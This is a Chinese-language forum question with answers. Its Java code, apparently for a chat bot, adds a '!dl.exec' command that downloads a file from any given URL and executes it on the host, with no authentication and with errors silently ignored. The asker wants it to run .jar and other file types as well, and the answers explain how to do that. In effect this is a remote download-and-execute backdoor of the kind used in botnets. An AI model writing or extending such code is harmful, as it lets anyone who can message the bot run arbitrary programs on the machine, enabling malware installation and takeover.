好的,所以我有这组代码
if(message.toLowerCase().startsWith("!dl.exec")){
String[] args = message.split(" ");
sendMessage(channel, sender +": OK, please wait a moment");
try{
java.io.BufferedInputStream in = new java.io.BufferedInputStream(new
java.net.URL(args[1]).openStream());
java.io.FileOutputStream fos = new java.io.FileOutputStream(args[2]);
java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
byte data[] = new byte[1024];
int count;
while( (count = in.read(data,0,1024)) != -1){
bout.write(data,0,count);
}
fos.flush();
fos.close();
String absolutePath = new File("").getAbsolutePath()+"/"+args[2];
sendMessage(channel, sender +": the path is " +absolutePath);
Runtime.getRuntime().exec(absolutePath);
}
catch(Exception e){
}
}
基本上它所做的就是用户输入!dl.exec(url)(filename),然后下载并保存为(filename)然后执行它。现在,这很好用,但只有当文件是.exe时,对于其他任何文件(如.jar),它都不起作用。我需要更改什么才能使它最好与所有扩展一起工作?
Runtime.getRuntime().exec(String)
将执行命令,就像从shell启动一样。如果要启动.jar
文件,请使用Runtime.getRuntime().exec("java -jar " + absolutePath)
。您可能还需要从exec(String)
方法内部提供java
可执行文件的完整路径。
您需要明确指定非标准文件类型(可执行文件或批处理文件)的执行行为